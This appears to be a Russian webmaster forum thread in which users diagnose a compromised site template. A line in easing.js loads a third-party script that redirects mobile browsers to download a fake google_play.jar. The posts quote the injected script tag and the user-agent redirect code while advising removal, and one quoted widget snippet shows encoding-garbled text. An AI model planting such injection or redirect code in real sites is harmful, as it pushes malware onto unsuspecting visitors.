вирус ли это?

[06shurik 0]

всем привет, столкнулся с такой проблемой, захожу на сайт с телефона, он чуток открывается, потом вылетает окно с предложением скачать файл google_play.jar как от этого избавиться?

[Lomot 134]

Если ваша тема начинается с вопроса и вам нужна какая либо помощь, то в самой теме в обязательном порядке вы должны указывать ссылку на ваш сайт. Если ваш сайт находится в локальной сети и вы не можете предоставить ссылку, или вы не хотите публиковать открытой ссылки на ваш сайт, то отправляйте персональное сообщение с вопросом в службу поддержки непосредственно с сайта http://dle-news.ru/, вам ответят на ваш вопрос в персональном порядке, в случае если пользуетесь платной версией скрипта и обладаете лицензией на скрипт. Если вы пользуетесь демоверсией, то вам необходимо разместить сайт в сети интернет, и только потом обращаться за помощью. По находящимся на локальных компьютерах демоверсиям никакой помощи и поддержки на форуме не оказывается. Если вы не указали сайт, то ваша тема будет закрыта, а аккаунт на форуме заблокирован.

[06shurik 0]

Lomot: спасибо за подсказку, http://ussur-city.ru/ с пк нареканий нет, а вот с телефона вылазиет загрузка файла.

[gigabyte 0]

Обнаружил следуйщее, все дело в скрипте

/templates/ussur/js/easing.js

В нем есть такой немного зловредный код(последняя строка скрипта)

document.write("<script src='http://iknopo.ru/iknopo.js'></script>")

Как вы видите идет ссылка на скрипт стороннего ресурса, в нем хранятся ссылки на тот же ресурс и также на google.play Вот скрипт который выполняет вывод окна

if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){

  window.location = "http://file0a.net/google_play/u/7357/google_play.auto";

}

Заметте в этом коде

if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null)

Выделенные жирным шрифтом слова, это название мобильных устройств которые выполняются условным оператором, скажу просто - если условный оператор скрипта видит что пользователь зайдет на сайт из устройства в списке то он выводит окно, а если видит что пользователь зашел из ПК или ноутбука то он не выводит окно! Для того чтобы решить проблемму нужно залить тот скрипт который на стороннем сайте к себе на сервер и подредактировать

/templates/ussur/js/easing.js

В нем вместо строки

document.write("<script src='http://iknopo.ru/iknopo.js'></script>")

Поставить

document.write("<script src='http://васяпупкин.ру/iknopo.js'></script>")

Где "васяпупкин.ру" адрес вашего сайта, а где "iknopo.js" путь к скрипту. В самом скрипте который вы скопировали убрать код

if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){

  window.location = "http://file0a.net/google_play/u/7357/google_play.auto";

}

Изменено 27 июля 2013 пользователем gigabyte

[Captain 617]

Примерно так:

http://forum.dle-new...ndpost&p=309347

Изменено 27 июля 2013 пользователем Captain

[06shurik 0]

а если этот код просто удалить? "удалил" вроде бы больше загрузка файла не выскакивает, по пробую на других телефонах еще...

[Lomot 134]

Для того чтобы решить проблемму нужно залить тот скрипт который на стороннем сайте к себе на сервер и подредактировать

Нафига?

Надо удалить

document.write("<script src='http://iknopo.ru/iknopo.js'></script>")

и все

[gigabyte 0]

Для того чтобы решить проблемму нужно залить тот скрипт который на стороннем сайте к себе на сервер и подредактировать

Нафига?

Надо удалить

document.write("<script src='http://iknopo.ru/iknopo.js'></script>")

и все

Я предполагал что удаление данной ссылки может обрезать функциональность скрипта, потому что в том коде достаточно много строк и по этому я предложил свой вариант! Да и до сих пор считаю что это может обрезать функциональность, по крайней мере изза этого кода

div.innerHTML = '<div class="iknopo-title"><a class="iknopo-box-close" href="">x</a><a target="_blank" href="http://iknopo.ru/?new"><img src="http://iknopo.ru/img/logo-mini.png" alt="+iknopo"></a><a class="iknopo-box-go" target="_blank" href="http://iknopo.ru/?new">ааОаЛббаИбаЕ баВаОаИ аКаНаОаПаКаИ</a></div>\

		 <div class="iknopo-scroll"><table><tr>\

   <td><a class="iknopo-facebook" href="" title="Facebook"><u></u>Facebook</a></td>\

	 <td><a class="iknopo-twitter" href="" title="Twitter"><u></u>Twitter</a></td>\

   </tr><tr>	   <td><a class="iknopo-vkontakte" href="" title="а ааОаНбаАаКбаЕ"><u></u>а ааОаНбаАаКбаЕ</a></td>\

	<td><a class="iknopo-odnoklassniki" href="" title="ааДаНаОаКаЛаАббаНаИаКаИ"><u></u>ааДаНаОаКаЛаАббаНаИаКаИ</a></td>\

   </tr><tr>	   <td><a class="iknopo-google" href="" title="Google+"><u></u>Google+</a></td>\

	<td><a class="iknopo-livejournal" href="" title="LiveJournal"><u></u>LiveJournal</a></td>\

   </tr><tr>	   <td><a class="iknopo-moimir" href="" title="ааОаЙ ааИб@Mail.Ru"><u></u>ааОаЙ ааИб@Mail.Ru</a></td>\

	<td><a class="iknopo-liveinternet" href="" title="LiveInternet"><u></u>LiveInternet</a></td>\

   </tr><tr>	   <td><a class="iknopo-blogger" href="" title="Blogger"><u></u>Blogger</a></td>\

	<td><a class="iknopo-delicious" href="" title="Delicious"><u></u>Delicious</a></td>\

   </tr><tr>	   <td><a class="iknopo-digg" href="" title="Digg"><u></u>Digg</a></td>\

	<td><a class="iknopo-evernote" href="" title="Evernote"><u></u>Evernote</a></td>\

   </tr><tr>	   <td><a class="iknopo-formspring" href="" title="Formspring.me"><u></u>Formspring.me</a></td>\

	<td><a class="iknopo-instapaper" href="" title="Instapaper"><u></u>Instapaper</a></td>\

   </tr><tr>	   <td><a class="iknopo-myspace" href="" title="mySpace"><u></u>mySpace</a></td>\

	<td><a class="iknopo-pinme" href="" title="Pinme"><u></u>Pinme</a></td>\

   </tr><tr>	   <td><a class="iknopo-pinterest" href="" title="Pinterest"><u></u>Pinterest</a></td>\

	<td><a class="iknopo-readability" href="" title="Readability"><u></u>Readability</a></td>\

   </tr><tr>	   <td><a class="iknopo-springpad" href="" title="Springpad"><u></u>Springpad</a></td>\

	<td><a class="iknopo-stumbleupon" href="" title="StumbleUpon"><u></u>StumbleUpon</a></td>\

   </tr><tr>	   <td><a class="iknopo-surfingbird" href="" title="Surfingbird"><u></u>Surfingbird</a></td>\

	<td><a class="iknopo-tumblr" href="" title="Tumblr"><u></u>Tumblr</a></td>\

   </tr><tr>	   <td><a class="iknopo-yandex" href="" title="аЏ.бб"><u></u>аЏ.бб</a></td>\

	<td><a class="iknopo-bobrdobr" href="" title="ааОаБбааОаБб"><u></u>ааОаБбааОаБб</a></td>\

   </tr><tr>	   <td><a class="iknopo-vkrugu" href="" title="а аббаГб аббаЗаЕаЙ"><u></u>а аббаГб аббаЗаЕаЙ</a></td>\

	<td><a class="iknopo-bookmark" href="" title="а аЗаАаКаЛаАаДаКаИ"><u></u>а аЗаАаКаЛаАаДаКаИ</a></td>\

   </tr><tr>	   <td><a class="iknopo-email" href="" title="абаПбаАаВаИбб аНаА email"><u></u>абаПбаАаВаИбб аНаА email</a></td>\

	<td><a class="iknopo-print" href="" title="ааЕбаАбаАбб"><u></u>ааЕбаАбаАбб</a></td>\

		  </tr></table></div>';

Изменено 28 июля 2013 пользователем gigabyte

[06shurik 0]

с проблемой помогли разобраться, код просто удалил, всем спасибо за ответы...кнопки себе не ставил, если надумаю их ставить возьму с Яндекса. тему можно закрывать)

[gigabyte 0]

с проблемой помогли разобраться, код просто удалил, всем спасибо за ответы...кнопки себе не ставил, если надумаю их ставить возьму с Яндекса. тему можно закрывать)

Ну вот, я и предпологал что вы хотели поставить кнопки к себе на сайт и по этому решил свой первый вариант!)

Извените за флуд!

[06shurik 0]

с проблемой помогли разобраться, код просто удалил, всем спасибо за ответы...кнопки себе не ставил, если надумаю их ставить возьму с Яндекса. тему можно закрывать)

Ну вот, я и предпологал что вы хотели поставить кнопки к себе на сайт и по этому решил свой первый вариант!)

Извените за флуд!

всё ровно многое понял из выше сказаного.

[webmishail 0]

Ребята вечер добрый такая же беда,

только шаблон другой и файла такого небыло ноя из папки templates/builderman/js Я ВСЕ УДАДЛИЛ

оставил только

.htaccess

в чем еще проблема может быть?

Все работает спасибо за помощь

[inokentik 45]

Нашел такую же строку но в другом файле... Косяк из-за того, что скачал страницу шаблона с какого то левого сайта, хотел стиль выдергнуть... Была такая же строка, но удаление строчки почему то не помогло!